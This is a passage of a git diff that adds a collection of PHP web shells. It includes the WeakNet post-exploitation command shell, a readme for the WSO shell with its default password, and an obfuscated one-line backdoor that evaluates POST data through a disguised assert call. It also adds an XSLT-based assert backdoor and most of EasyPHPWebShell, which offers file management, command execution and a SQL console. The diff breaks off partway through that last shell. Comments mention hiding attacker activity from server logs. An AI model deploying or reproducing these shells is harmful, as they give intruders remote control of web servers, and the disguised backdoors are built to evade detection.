+	tr:nth-child(even) {background: #202020}
+	tr:nth-child(odd) {background: #343434}
+	td{ padding:3px;}
+</style>
+<script>
+	// for dynamically generating navigation from output
+	function submitFile(path,file,action){
+		if(action == "cat"){
+			document.getElementById("inputCmd").value='cat ' + path + file; // TODO change to while read foo do echo foo
+		}else if(action == "ls"){
+			document.getElementById("inputCmd").value='ls -l ' + path + file; // TODO change to while read foo do echo foo
+		}
+		document.getElementById("submitCmd").submit(); // submit the request
+	}
+	function execType(type){
+		document.getElementById('execType').value=type; // Just set the type here and the PHP POST will pick it up
+	}
+</script>
+</head>
+<body>
+<?php
+	if (!$_POST['cmd']) { # initial hit to the page
+		$cmd = "(none) Please type a command to execute below";
+		$output = "WeakNet Post-Exploitation PHP Execution Shell is free, redistributable software. It has no warranty for the program, "
+			."to the extent permitted by applicable law. WeakNet Laboratories is no liable to you for damages, including any general,"
+			." special, incidental or consequential damages arising out of the use or inability to use the program. <br /><br />This"
+			." program should only be used on systems that the penetration tester has permission to use or owns."
+			."<br /><br />To begin, please type a command below. For help please refer to the GitHUB Readme.md file by clicking on the"
+			." link on the bottom left. Thank you for choosing WeakNet Labs!";
+	}else{
+		$cmd = $_POST['cmd']; # reassign is easier to read
+		if($_POST['execType'] == "exec"){ 
+			exec("$cmd 2>/dev/stdout",$results); # a command, let's execute it on the host
+		}elseif($_POST['execType'] == "system"){ 
+			system("$cmd 2>/dev/stdout",$results); # use system() in case exec() was disabled in PHP.ini
+		}elseif($_POST['execType'] == "passthru"){
+			passthru("$cmd 2>/dev/stdout",$results); # use passthru for command execution/injection
+		}elseif($_POST['execType'] =="shell_exec"){
+			$results = shell_exec("$cmd 2>/dev/stdout"); # use shell_exec (similar to backtick operators, or $() in Bash)
+		}
+	}
+	echo "<div class=\"titleBar\"><div class=\"title\"><div class=\"titleCenter\"><span style=\"font-size:35px;\">&#128026; WPES</span> Displaying results for command: ".
+		" <span class=\"cmdTitle\">".$cmd."</span></div></div></div>";
+?>
+<!-- This is where the outpu of the command goes -->
+<div class="output">
+<?php
+	if($_POST['cmd']){ # a command was passed, parse output:
+		foreach(array_slice($results,1,count($results)) as $output) { # let's format the output, in case it contains HTML characters:
+			$raw = implode ('\n',$results); # save the raw form for downloading
+			$exploded = explode(" ", $output);
+			$file = array_pop($exploded);
+			$path = preg_replace("/.*\s([^ ]+)$/","$1","$cmd"); # get full path
+			if(!preg_match("/\/$/","$path")){ # add a fwd slash:
+				$path .= "/";
+			} # now we can style the regular file output:
+			$output = preg_replace("/&/","&amp;",$output); # replace all ampersands
+			$output = preg_replace("/</","&lt;",$output); # replace all less thanh (open HTML tag brackets)
+			$output = preg_replace("/\s/","&nbsp;",$output); # replace all whitespace
+			if(preg_match("/^ls -l\s/","$cmd")){ # is this an ls command?
+				if(!preg_match("/^d/","$output")){
+					echo "<span style=\"color:yellow\" title=\"Click here view file contents\" class=\"unicode\" onClick=\"submitFile('$path','$file','cat');\">&#128049;</span>&nbsp;".$output."<br />";
+				}else{
+	    				echo "<span style=\"color:#00ce05\" title=\"Click here to view directory contents\" class=\"unicode\" onClick=\"submitFile('$path','$file','ls');\">&#128269;</span>&nbsp;".$output."<br />";
+				}
+			}else{
+	    			echo $output."<br />";
+			}
+		}
+	}else{
+		echo $output."<br />"; # dump message
+	}
+?>
+<script>
+	// this is seemingly randomly placement, but I am using PHP to write the file contents that I need to retrieve first
+	function saveFile(){
+		window.open('data:text/plain;charset=utf-8,' + escape('<?php $contents = preg_replace("/(\(|\)|\$|')/","$1",$raw); echo $contents; ?>'));
+	}
+</script>
+<!-- Download the file -->
+<?php
+	if($_POST['downloadFile']){ # pass download, by clicking on the download button
+		if($_POST['downloadFile'] == 1){ # 0 for non download 1 for download
+			$abspath = $path . $file; # 	create an absolute path to the file
+			if (file_exists($abspath)) { # does the file exist?
+				header('Content-Description: File Transfer');
+				header('Content-Type: application/octet-stream');
+				header('Content-Disposition: attachment; filename="'.basename($abspath).'.txt"');
+				header('Expires: 0');
+				header('Cache-Control: must-revalidate');
+				header('Pragma: public');
+				header('Content-Length: ' . filesize($abspath));
+				readfile($abspath);
+			}
+		}
+	}
+?>
+</div>
+<!-- The input box and whole bottom bar -->
+<div class="inputCMD">
+	<strong>PHP Exec Function: </strong> 
+		<a href="http://php.net/manual/en/function.exec.php">exec()</a><input type="radio" <?php if(!$_POST['execType']){echo "checked"; }else{if($_POST['execType'] == "exec"){echo "checked";} } ?> 
+			name="execType" value="exec" onClick="execType('exec')"/> 
+		<a href="http://php.net/manual/en/function.system.php">system()</a><input onClick="execType('system')" <?php if($_POST['execType']){if($_POST['execType'] == "system"){echo "checked";} } ?> 
+			type="radio" name="execType" value="system" /> 
+		<a href="http://php.net/manual/en/function.passthru.php">passthru()</a><input onClick="execType('passthru')" <?php if($_POST['execType']){if($_POST['execType'] == "passthru"){echo "checked";} } ?>
+			type="radio" name="execType" value="passthru" />
+		<a href="http://php.net/manual/en/function.shell-exec.php">shell_exec()</a><input onClick="execType('shell_exec')" <?php if($_POST['execType']){if($_POST['execType'] == "shell_exec"){echo "checked";} } ?>
+			type="radio" name="execType" value="shell_exec" /><br />
+	<form action="#" method="post" name="submitCmd" id="submitCmd"><!-- no button here, just hit enter -->
+		<input id="inputCmd" type="text" size="55" placeholder="Type command here to execute on host and hit return" name="cmd"/>
+		<input type="hidden" value="<?php if($_POST['execType'] != ""){echo $_POST['execType'];}else{echo "exec";} ?>" name="execType" id="execType"/>
+		<button type="button" onClick="saveFile();">Download File</button>
+	</form><!-- went with POST method to slightly obfuscate the attacker's activity from simple Apache logs -->
+<!-- The band name on the bottom left -->
+<div class="branding">
+	<a href="https://github.com/weaknetlabs/wpes">&#128026; WPES WeakNet Labs</a>
+</div>
+<!-- The Server info box -->
+<div class="serverInfo">
+	<table>
+		<tr><strong style="font-size:16px;">&#128225; Remote Server Information &#128225;</strong></tr>
+		<tr><td>IP</td><td><?php echo "<a title=\"Check ARIN database for this IP address information.\" target=\"_blank\" href=\"http://whois.arin.net/rest/nets;q=".$_SERVER['SERVER_ADDR']
+			."?showDetails=true&showARIN=false&showNonArinTopLevelNet=false&ext=netref2\">"
+			.$_SERVER['SERVER_ADDR']."</a>"; ?>
+		</td</tr>
+		<?php # let's create an exploit-db search link
+			$software = preg_replace("/\//","%20",$_SERVER['SERVER_SOFTWARE']); # get rid of fwd slashes
+			$software = preg_replace("/\([^)]+\)/","",$software); # get rid of OS version
+		?>
+		<tr><td>Hostname</td><td><?php echo "<a target=\"blank\" href=\"https://www.google.com/?gws_rd=ssl#q=site:".$_SERVER['SERVER_NAME']."\">".$_SERVER['SERVER_NAME']."</a>"; ?></td</tr>
+		<tr><td>Software</td><td><?php echo "<a target=\"blank\" title=\"Check for exploits for this software using Exploit-DB.\" href=\"https://www.exploit-db.com/search/?action=search&description=".$software."&e_author=\">".$_SERVER['SERVER_SOFTWARE']."</a>"; ?></td</tr>
+		<tr><td>Timestamp</td><td><?php echo $_SERVER['REQUEST_TIME']; ?></td</tr>
+		<tr><td>Admin</td><td><?php echo "<a target=\"_blank\" title=\"Email administrator.\" href=\"mailto:".$_SERVER['SERVER_ADMIN']."\">".$_SERVER['SERVER_ADMIN']."</a>" ?></td</tr>
+	</table>
+</div>
+</body>
+</html>
+Status API Training Shop Blog About Pricing
+© 2015 GitHub, Inc. Terms Privacy Security Contact Help

php/wso/readme.md

@@ -0,0 +1,36 @@
+wso phpshell url: https://github.com/HARDLINUX/webshell
+
+author:twepl
+
+
+#PHP webshell / File manager
+Новый Web Shell WSO на php 2015 года
+
+На данный момент считаеться самый лучший Web Shell из всех
+
+GitHub: https://github.com/HARDLINUX/webshell
+
+ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Это только в целях тестирования и могут быть использованы только там, где строго было дано согласие. Не используйте это для незаконных целей.
+
+DISCLAIMER: This is only for testing purposes and can only be used where strict consent has been given. Do not use this for illegal purposes, period.
+
+### Bugs and enhancements
+For bug reports or enhancements, please open an issue here: https://github.com/HARDLINUX/webshell/issues
+
+Это PHP Shell является полезным инструментом для системы или веб-администратором, чтобы сделать удаленное управление без использования CPanel, подключении с помощью SSH, FTP и т.д. Все действия происходят в веб-браузере
+
+This PHP Shell is a useful tool for system or web administrator to do remote management without using cpanel, connecting using ssh, ftp etc. All actions take place within a web browser
+##Пароль: admin
+## Скриншот
+![](http://cs621518.vk.me/v621518400/d6ad/e3CgJxw9ThA.jpg)
+
+#Donate ~(￣▽￣)~
+Bitcoin-адрес: 1CJehqxoaz8bnGmqNGf1RZ7dmtKWGNt5KM
+
+Яндекс.Деньги: 410012298324261
+
+WebMoney WMR: R180357107644
+
+WebMoney WMZ: Z183801665529
+
+WebMoney WME: E150418742890

php/xiaom.php

@@ -0,0 +1,5 @@
+<?php @$_="s"."s"./*- 
+//////////////////// 
+*-*/"e"./*-/*-*/"r";@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}[/*-/ 
+/////////////////////
+*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>WooYun

php/xslt.php

@@ -0,0 +1,15 @@
+<?php
+$xml='<root>assert($_POST[a]);</root>';
+$xsl='<?xml version="1.0" encoding="UTF-8"?>
+<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:zcg="http://php.net/xsl">
+ <xsl:template match="/root">
+    <xsl:value-of select="zcg:function(\'assert\',string(.))"/>
+ </xsl:template>
+</xsl:stylesheet>';
+$xmldoc = DOMDocument::loadXML($xml);
+$xsldoc = DOMDocument::loadXML($xsl);
+$proc = new XSLTProcessor();
+$proc->registerPHPFunctions();
+$proc->importStyleSheet($xsldoc);
+$proc->transformToXML($xmldoc);
+?> 

php/xw.php

@@ -0,0 +1,674 @@
+
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
+<title>EasyPHPWebShell(S8S8测试版)</title>
+    <style type="text/css">
+    <!--
+    body,td,th, h1, h2 {
+        font-size: 12px;
+        font-family: sans-serif;
+    }
+    body {background-color: #F8F8F8;}
+    .style1 { 
+        font-size: 12px;
+        font-family: verdana, helvetica, sans-serif, 宋体;
+        vertical-align: middle;
+        border: 1px solid #000000; 
+    }
+    .stylebtext2 {color: #990000;font-weight: bold;}
+    .stylebtext3 {color: #FFFFFF;font-weight: bold;}
+     a:link,a:visited,a:active {color:#336699; text-decoration: underline;} 
+     a:hover {COLOR: #990000;text-decoration: none;}
+    table {border-collapse: collapse;}
+    td, th { border: 1px solid #000000;}
+    -->
+</style>
+
+<?php
+@set_time_limit(0);
+@error_reporting(E_ERROR | E_WARNING | E_PARSE);
+@ob_start();
+$pagestarttime = microtime();
+
+if (get_magic_quotes_gpc()) {
+    $_GET = array_stripslashes($_GET);
+    $_POST = array_stripslashes($_POST);
+}
+
+/////参数设置
+
+$chkpassword = 0;//是否有密码验证
+
+$my_password = "5065338";//设置密码,如果chkpassword为0,此处设置无效.
+
+$cookit_time = 24;//设置cookie有效时间(单位:小时,注:一天24小时)
+
+//////结束
+
+?>
+
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
+<title>EasyPHPWebShell(S8S8测试版)</title>
+    <style type="text/css">
+    <!--
+    body,td,th, h1, h2 {
+        font-size: 12px;
+        font-family: sans-serif;
+    }
+    body {background-color: #F8F8F8;}
+    .style1 { 
+        font-size: 12px;
+        font-family: verdana, helvetica, sans-serif, 宋体;
+        vertical-align: middle;
+        border: 1px solid #000000; 
+    }
+    .stylebtext2 {color: #990000;font-weight: bold;}
+    .stylebtext3 {color: #FFFFFF;font-weight: bold;}
+     a:link,a:visited,a:active {color:#336699; text-decoration: underline;} 
+     a:hover {COLOR: #990000;text-decoration: none;}
+    table {border-collapse: collapse;}
+    td, th { border: 1px solid #000000;}
+    -->
+</style>
+
+<?
+
+if($chkpassword == 1){
+	@session_start();
+	if ($_GET["action"] == "logout") {
+		@session_unregister("smy_password");
+		@session_destroy();
+		@setcookie ("cmy_password","");
+		echo "<script>function redirect(){window.location.replace(\"{$_SERVER['PHP_SELF']}\");}redirect();</script>";
+	}
+	if($_GET["action"] == "login"){
+		if($my_password==$_POST["pmy_password"]){
+			@session_register("smy_password");
+			$_SESSION["smy_password"] = $my_password;
+			@setcookie ("cmy_password",$my_password,time()+(3600*$cookit_time));
+			echo "<script>function redirect(){window.location.replace(\"{$_SERVER['PHP_SELF']}\");}redirect();</script>";
+		}
+	}
+	if (@session_is_registered("smy_password")||isset($_COOKIE["cmy_password"])){
+		if (($_SESSION["smy_password"]!=$my_password)&&(!isset($_COOKIE["cmy_password"])||$_COOKIE["cmy_password"]!=$my_password))
+			getloginpass();
+	}else getloginpass();
+}
+
+if(!@get_cfg_var("register_globals")){
+    foreach($_GET as $key => $val) $$key = $val;
+    foreach($_POST as $key => $val) $$key = $val;
+	foreach($_FILES as $key => $val) $$key = $val;
+}
+
+if(isset($df_path)){
+    if (!file_exists($df_path)) $errordownload = "没找到文件"; 
+    else {
+        $df_name = basename($df_path);
+        $df_fhd=fopen($df_path,"rb");
+        if($df_fhd==false) $errordownload = "打开文件错误";
+        else{
+            Header("Content-type: application/octet-stream");
+            Header("Accept-Ranges: bytes");
+            Header("Accept-Length: ".filesize($df_path));
+            Header("Content-Disposition: attachment; filename=".$df_name);
+            echo fread($df_fhd,filesize($df_path));
+            fclose($df_fhd);
+            exit;
+        }
+    } 
+}
+
+if(isset($gotodir)) if($gotodir != "") $dir=$gotodir;
+
+if(!isset($action)) {
+    $action = "dir";
+    $dir = ".";
+}
+
+if(!isset($dir)) $dir = ".";
+
+$rootdir = str_replace("\\\\","/",$_SERVER["DOCUMENT_ROOT"]);
+
+if(isset($abspath)) $dir = gettruepath($dir);
+else if(isset($unabspath)){
+    $dir = gettruepath($dir);
+    if(strstr($dir,$rootdir)) $dir = str_replace("$rootdir",".",$dir);  
+    else $dir=".";
+}
+$rny="<font color=green><b>■</b></font>";$rnn="<font color=red><b>■</b></font>";
+
+?>
+
+<SCRIPT LANGUAGE="JavaScript">
+function rusuredel(msg,url){
+    smsg = "确实要删除文件(目录)[" + msg + "]吗?";
+    if (confirm(smsg)){
+        url = url + msg;
+        window.location = url;
+    } 
+}
+
+function rusurechk(msg,url){
+    smsg = "源文件(目录,属性)为[" + msg + "],请输入目标文件(目录,属性):";
+    re = prompt(smsg,msg);
+    if (re){
+        url = url + re;
+        window.location = url;
+    }
+}
+</script>
+</head>
+<body>
+
+<table width="100%" border="0" cellpadding="0" cellspacing="0">
+    <tr>
+        <td align="center" width="100%" bgcolor="#000000" class="stylebtext3">
+            欢迎使用EasyPHPWebShell 1.0(S8S8测试版)【切莫用于任何非法途径否则后果自负】
+        </td>
+    </tr>
+    <tr>
+        <td align="center" bgcolor="#EEEEEE">
+            本文件绝对路径:<? $stmp =str_replace("\\","/", __FILE__);echo "【<a href=\"$HTTP_SERVER_VARS[PHP_SELF]\">$stmp</a>】";?>【<a href="?action=logout">点此注销会话</a>】
+        </td>
+    </tr>
+    <tr>
+        <td align="center"  bgcolor="#EEEEEE">【<a href="?action=dir&dir=.">文件管理</a>】【<a href="?action=editfile&dir=<?=urlencode($dir);?>&editfile=<?=urlencode($dir);?>/">文本编辑器</a>】【<a href="?action=sql">数据库查询</a>】【<a href="?action=shell">Shell命令</a>】【<a href="?action=env">环境变量</a>】【<a href="?action=phpinfo">PHP系统信息</a>】【<a href="http://www.s8s8.net/forums/index.php?showtopic=15998">查看更新</a>】
+        </td>
+    </tr>
+</table>
+<br>
+<table width="100%" border="0" cellpadding="0" cellspacing="0">
+	<tr>
+		<td width="100%" bgcolor="#000000" align="center" class="stylebtext3">
+<?if($action == "dir"){?>
+	文件管理
+	</td>
+	</tr>
+
+	<tr>
+	<form method="post" action="?action=dir&dir=<?=urlencode($dir);?>" enctype="multipart/form-data">
+	<td bgcolor="#EEEEEE">&nbsp;当前目录:&nbsp;
+	<input name="gotodir" type="text" class="style1" value="<?=$dir?>" size="60">&nbsp;
+	<input name="gotodirb" type="submit" class="style1" value="跳转"><?if($dir[1] == ':') echo "【<a href=\"?action=dir&dir=".urlencode($dir)."&unabspath=1\">点此用<b>相对</b>路径查看</a>】&nbsp;";else echo "【<a href=\"?action=dir&dir=".urlencode($dir)."&abspath=1\">点此用<b>绝对</b>路径查看</a>】&nbsp;";?>
+	</td>
+	</form>
+	</tr>
+
+	<tr>
+	<form method="post" action="?action=fileup&dir=<?=urlencode($dir);?>" enctype="multipart/form-data">
+	<td bgcolor="#EEEEEE">&nbsp;文件上传到(目录):
+	<input name="filedir" type="text" class="style1" value="<?=$dir?>" size="30">&nbsp;本地文件:
+	<input name="userfile" type="file" class="style1" size="30">&nbsp;
+	<input name="userfileb" type="submit" class="style1" value="上传">
+	</td>
+	</form>
+	</tr>
+
+	<tr>
+	<form method="post" action="?action=filecreate&dir=<?=urlencode($dir);?>" enctype="multipart/form-data">
+	<td bgcolor="#EEEEEE">&nbsp;新建文件(目录)在当前目录:&nbsp; 
+	<input name="mkname" type="text" value="" size=30 class="style1">&nbsp;
+	<input name="mkfileb" type="submit" value="新建文件" class="style1">&nbsp;
+	<input name="mkdirb" type="submit" value="新建目录" class="style1">&nbsp;当前目录状态:【<b><?$write = "不可写";if(is_dir($dir)) {if ($fp = @fopen("$dir/temp.tmp", 'w')) {@fclose($fp);@unlink("$dir/temp.tmp");$write = "可写";}}echo "$write</b>】";?>
+	</td>
+	</tr>
+	</table>
+
+	<table width="100%" border="0" cellpadding="0" cellspacing="0">
+	<tr bgcolor="#000000" class="stylebtext3">
+		<td width="25%">文件名</td>
+		<td width="40%">建立时间|最后修改时间</td>
+		<td width="10%">大小(KB)</td>
+		<td width="8%">属性</td>
+		<td width="17%">操作</td>
+	</tr>
+	<?php
+	$filesum=0;$dirsum=0;$color="#EEEEEE";
+	$dirs=@opendir($dir);
+	while ($lop_fname=@readdir($dirs)){
+		if(@is_dir("$dir/$lop_fname")){
+			$lop_fsize = "-";
+			$lop_fcdata = "-";
+			$lop_fmdata = "-";
+			$lop_foper="-";
+			$lop_ftype="-";
+			if($lop_fname==".."){
+				if($dir == ".") continue;
+				$dirb=@dirname($dir);
+				if($dir[1] ==':'){
+					$dirb = gettruepath($dirb);
+					if(strlen($dirb) <=3) $dirb = substr($dirb,0,2);
+				}
+				$bp="△ ";
+				$lop_fname = "上级目录";
+			}else if($lop_fname=="."){
+				if($dir == ".") continue;
+				$dir[1] ==':'?$dirb = substr(gettruepath($dirb),0,2):$dirb=$lop_fname;
+				$bp="○ ";
+				$lop_fname = "根级目录";
+			}else{
+				$lop_fsize = "[DIR]";
+				$dirb="$dir/$lop_fname";    
+				$lop_fcdata = @date("Y-n-d H:i:s",@filectime("$dirb"));
+				$lop_fmdata = @date("Y-n-d H:i:s",@filemtime("$dirb"));
+				$lop_ftype= substr(@base_convert(@fileperms($dirb),10,8),-4);
+				$bp="□ ";
+				$title = "点击进入文件夹[$lop_fname]";
+				$lop_foper= "[<a href=\"删除\" title=\"删除整个文件夹\" onClick=\"rusuredel('$dirb','?action=filedel&dir=$dir&deldir=');return false;\">删</a>|".
+							"<a href=\"重命名\" title=\"重命名\" onClick=\"rusurechk('$dirb','?action=filerename&dir=$dir&renamef=$dirb&renamet=');return false;\">重</a>|".
+							"<a href=\"拷贝\" title=\"拷贝\" onClick=\"rusurechk('$dirb','?action=filecopy&dir=$dir&copydirf=$dirb&copydirt=');return false;\">拷</a>|".
+							"<a href=\"属性\" title=\"修改属性\" onClick=\"rusurechk('$lop_ftype','?action=filetype&dir=$dir&ctype=');return false;\">属</a>]";
+				$dirsum++;
+			}
+			$color=ch_color($color);
+			echo    "<tr bgcolor=\"$color\">". 
+							"<td width=\"25%\">$bp [<a href=\"?action=dir&dir=$dirb\" title = \"进入\">$lop_fname</a>]</td>".
+							"<td width=\"40%\">[$lop_fcdata|$lop_fmdata]</td>".
+							"<td width=\"10%\">$lop_fsize</td>".
+							"<td width=\"8%\">$lop_ftype</td>".
+							"<td width=\"17%\">$lop_foper</td>".
+						"</tr>";
+		}
+	}
+	@closedir($dirs);
+	$dirs=@opendir($dir);
+	while ($lop_fname=@readdir($dirs)){
+		if(!@is_dir("$dir/$lop_fname")&&$lop_fname!=".."){
+			$lop_ftype= substr(@base_convert(@fileperms("$dir/$lop_fname"),10,8),-4);
+			$lop_foper= "[<a href=\"删除\" title=\"删除\" onClick=\"rusuredel('$dir/$lop_fname','?action=filedel&dir=$dir&delfile=');return false;\">删</a>|".
+						"<a href=\"重命名\" title=\"重命名\"  onClick=\"rusurechk('$dir/$lop_fname','?action=filerename&dir=$dir&renamef=$dir/$lop_fname&renamet=');return false;\">重</a>|".
+						"<a href=\"拷贝\" title=\"拷贝\" onClick=\"rusurechk('$dir/$lop_fname','?action=filecopy&dir=$dir&copyfilef=$dir/$lop_fname&copyfilet=');return false;\">拷</a>|".
+						"<a href=\"属性\" title=\"修改属性\" onClick=\"rusurechk('$lop_ftype','?action=filetype&dir=$dir&cfile=$dir/$lop_fname&ctype=');return false;\">属</a>|".
+						"<a href=\"?action=dir&df_path=$dir/$lop_fname\" title=\"下载\">下</a>|".
+						"<a href=\"?action=editfile&dir=$dir&editfile=$dir/$lop_fname\" title=\"编辑\">编</a>]";
+			$color=ch_color($color);
+			echo    "<tr bgcolor=\"$color\">". 
+							"<td width=\"25%\">■ <a href=\"$dir/$lop_fname\" title = \"新窗口中打开\" target=\"_blank\">$lop_fname</a></td>".
+							"<td width=\"40%\">[".@date("Y-n-d H:i:s",@filectime("$dir/$lop_fname"))."|".@date("Y-n-d H:i:s",@filemtime("$dir/$lop_fname"))."]</td>".
+							"<td width=\"10%\">".@number_format(@filesize("$dir/$lop_fname")/1024,3)."</td>".
+							"<td width=\"8%\">".$lop_ftype."</td>".
+							"<td width=\"17%\">$lop_foper</td>".
+						"</tr>";
+			$filesum++;
+		}
+	}
+	@closedir($dirs);
+	?>										  
+	<tr bgcolor="#000000" class="stylebtext3" align="center">
+		<td width="25%" colspan="5">目录数:<?=$dirsum?>,文件数:<?=$filesum?></td>
+	</tr>
+	</table>      
+<?}else if ($action == "editfile"){?>
+	文本编辑器(若目标文件不存在将新建新文件)
+	</td>
+	</tr>
+
+	<tr>
+	<form method="post" action="?action=filesave&dir=<?=urlencode($dir);?>" enctype="multipart/form-data">
+		<td align="center" valign="top" bgcolor="#EEEEEE">当前编辑文件名:
+			<input name="editfilename" type="text" class="style1" value="<?=$editfile?>" size="30">
+			<input name="editbackfile" type="checkbox" value="1" class="style1">生成备份文件(原文件.bak)<br>
+			<textarea name="editfiletext" cols="120" rows="25" class="style1"><?
+				$fd = @fopen($editfile, "rb");
+				$fd==false?$readfbuff = "读取文件错误(或尚未读取文件).":$readfbuff = @fread($fd, filesize($editfile));
+				@fclose( $fd );
+				$readfbuff = htmlspecialchars($readfbuff);
+				echo "$readfbuff";
+			?></textarea><p>
+			<input name="editfileb" type="submit" value="提交" class="style1">&nbsp;&nbsp;
+			<input name="editagainb" type="reset" value="重置" class="style1">
+			<a href="?action=dir&dir=<?=urlencode($dir);?>">点此返回文件浏览页面</a>
+			<p>
+		</td>
+	</form>
+	</tr>
+	</table>
+<?}else if("sql" == substr($action,0,3)){?>
+	数据库查询
+	</td>
+	</tr>
+	
+	<tr>
+	<form method="post" action="?action=sql" enctype="multipart/form-data">
+		<td align="center" valign="top" bgcolor="#EEEEEE">
+			数据库地址:<input name="sqlhost" type="text" class="style1" value="<?=isset($sqlhost)?$sqlhost:"localhost"?>" size="20">
+			端口:<input name="sqlport" type="text" class="style1" value="<?=isset($sqlport)?$sqlport:"3306"?>" size="5">
+			用户名:<input name="sqluser" type="text" class="style1" value="<?=isset($sqluser)?$sqluser:"root"?>" size="10">
+			密码:<input name="sqlpasd" type="text" class="style1" value="<?=isset($sqlpasd)?$sqlpasd:""?>" size="10">
+			数据库名:<input name="sqldb" type="text" class="style1" value="<?=isset($sqldb)?$sqldb:""?>" size="10"><br>
+			<textarea name="sqlcmdtext" cols="120" rows="10" class="style1"><?
+				if(!empty($sqlcmdtext)){
+					@mysql_connect("{$sqlhost}:{$sqlport}","$sqluser","$sqlpasd") or die("数据库连接失败");
+					@mysql_select_db("$sqldb") or die("选择数据库失败");
+					$res = @mysql_query("$sqlcmdtext");
+					echo $sqlcmdtext;
+					mysql_close();
+				}
+			?></textarea><p>
+			<span class="stylebtext2"><?echo isset($sqlcmdb)?($res?"执行成功.":"执行失败:".mysql_error()):"";?></span><p>
+			<input name="sqlcmdb" type="submit" value="执行" class="style1">&nbsp;&nbsp;
+			<input name="sqlagainb" type="reset" value="重置" class="style1">
+			<p>
+		</td>
+	</form>
+	</tr>
+	</table>
+<?}else if("shell" == substr($action,0,5)){?>
+	Shell命令
+	</td>
+	</tr>
+
+	<tr>
+		<form method="post" action="?action=shell" enctype="multipart/form-data">
+		<td align="center" valign="top" bgcolor="#EEEEEE">
+			函数:<select name="seletefunc" class="input">
+				<option value="system" <?=($seletefunc=="system")?"selected":"";?>>system</option>
+				<option value="exec" <?=($seletefunc=="exec")?"selected":"";?>>exec</option>
+				<option value="shell_exec" <?=($seletefunc=="shell_exec")?"selected":"";?>>shell_exec</option>
+				<option value="passthru" <?=($seletefunc=="passthru")?"selected":"";?>>passthru</option>
+				<option value="popen" <?=($seletefunc=="popen")?"selected":"";?>>popen</option>
+			</select>
+			命令:<input name="shellcmd" type="text" class="style1" value="<?=isset($shellcmd)?$shellcmd:""?>" size="80">
+			<textarea name="shelltext" cols="120" rows="10" class="style1"><?
+				if(!empty($shellcmd)){
+					if($seletefunc=="popen"){
+						$pp = popen($shellcmd, 'r');
+						echo fread($pp, 2096);
+						pclose($pp);
+					}else{
+						echo $out =  ("system"==$seletefunc)?system($shellcmd):(($seletefunc=="exec")?exec($shellcmd):(($seletefunc=="shell_exec")?shell_exec($shellcmd):(($seletefunc=="passthru")?passthru($shellcmd):system($shellcmd))));	
+					}
+				}
+			?></textarea><p>
+			<span class="stylebtext2"><?echo get_cfg_var("safe_mode")?"提示:安全模式下可能无法执行":"";?></span><p>
+			<input name="shellcmdb" type="submit" value="执行" class="style1">&nbsp;&nbsp;
+			<input name="shellagainb" type="reset" value="重置" class="style1">
+			<p>
+	</td>
+	</form>
+	</tr>
+	</table>
+<?}else if($action=="phpinfo"){?>
+	PHP系统信息
+	</td>
+	</tr>
+
+	<tr>
+	<td align="center" bgcolor="#EEEEEE" class="stylebtext2"><br><?phpinfo();
+		if(eregi("phpinfo",get_cfg_var("disable_functions"))) echo "<b>phpinfo函数被禁止</b><br>";
+	?><br>
+	</td>
+	</tr>
+	</table>
+<?}else if("file" == substr($action,0,4)){?>
+	系统消息
+	</td>
+	</tr>
+
+	<tr>
+	<td align="center" bgcolor="#EEEEEE" class="stylebtext2">
+	<br>
+	<?
+		if($action == "filesave"){
+			if(isset($editfileb)&&isset($editfilename)){
+				if(isset($editbackfile)&&($editbackfile == 1)) 
+					echo $out = @copy($editfilename,$editfilename.".bak")?"生成备份文件成功.<p>":"生成备份文件成功<p>";
+				$fd = @fopen($editfilename, "w");
+				if($fd == false) echo "打开文件[$editfilename]错误.";
+				else{
+					echo $out=@fwrite($fd,$editfiletext)?"编辑文件[$editfilename]成功!":"写入文件文件[$editfilename]错误";
+					@fclose( $fd );
+				}
+			}
+		}else if($action == "filedel"){
+			if(isset($deldir)) {
+				echo $out = file_exists($deldir)?(deltree($deldir)?"删除目录[$deldir]成功!":"删除目录[$deldir]失败!"):"目录[$deldir]不存在!!";
+			}else if(isset($delfile)){
+				@chmod("$delfile", 0777);
+				echo $out = file_exists($delfile)?(@unlink($delfile)?"删除文件[$delfile]成功!":"删除文件[$delfile]失败!"):"文件[$delfile]不存在!";
+			}
+		}else if($action == "filerename"){
+			echo $out = file_exists($renamef)?(@rename($renamef,$renamet)?"重命名[$renamef]为[{$renamet}]成功":"重命名[$renamef]为[{$renamet}]失败"):"文件[$renamef]不存在!";
+		}else if($action =="filecopy") {
+			if(isset($copydirf)&&isset($copydirt)){
+				echo $out = file_exists($copydirf)?(truepath($copydirt)?(copydir($copydirf,$copydirt)?"拷贝目录[$copydirf]到[$copydirt]成功":"拷贝目录[$copydirf]到[$copydirt]失败"):"目标目录[$copydirt]不存在且创建错误"):"目录[$copydirf]不存在!";
+			}else if(isset($copyfilef)&&isset($copyfilet)){
+				echo $out = file_exists($copyfilef)?(truepath(dirname($copyfilet))?(@copy($copyfilef,$copyfilet)?"拷贝文件[$copyfilef]到[$copyfilet]成功":"拷贝文件[$copyfilef]到[$copyfilet]失败"):"目标目录不存在且创建错误"):"源文件[$copyfilef]不存在!";
+			}
+		}else if($action == "filecreate"){
+			if(isset($mkdirb)){
+				echo $out = file_exists("$dir/$mkname")?"[{$dir}/{$mkname}]该目录已存在":(@mkdir("$dir/$mkname",0777)?"目录[$mkname]创建成功":"目录[$mkname]创建失败");
+			}else if(isset($mkfileb)){
+				if(file_exists("$dir/$mkname")) echo "[$dir/$mkname]该文件已存在";
+				else{
+					$fd = @fopen("$dir/$mkname", "w");
+					if($fd == false) echo "建立文件[$mkname]错误.";
+					else{
+						echo "建立文件[$mkname]成功 <a href=\"?action=editfile&dir=".urlencode($dir)."&editfile=".urlencode($dir)."/".urlencode($mkname)."\"><p>点此跳转入编辑浏览页面</a>";
+						@fclose( $fd );
+					}
+				}
+			}
+		}else if($action == "filetype"){
+			echo $out=@chmod($cfile,base_convert($ctype,8,10))?"更改成功!":"更改失败!";
+		}else if($action == "fileup"){
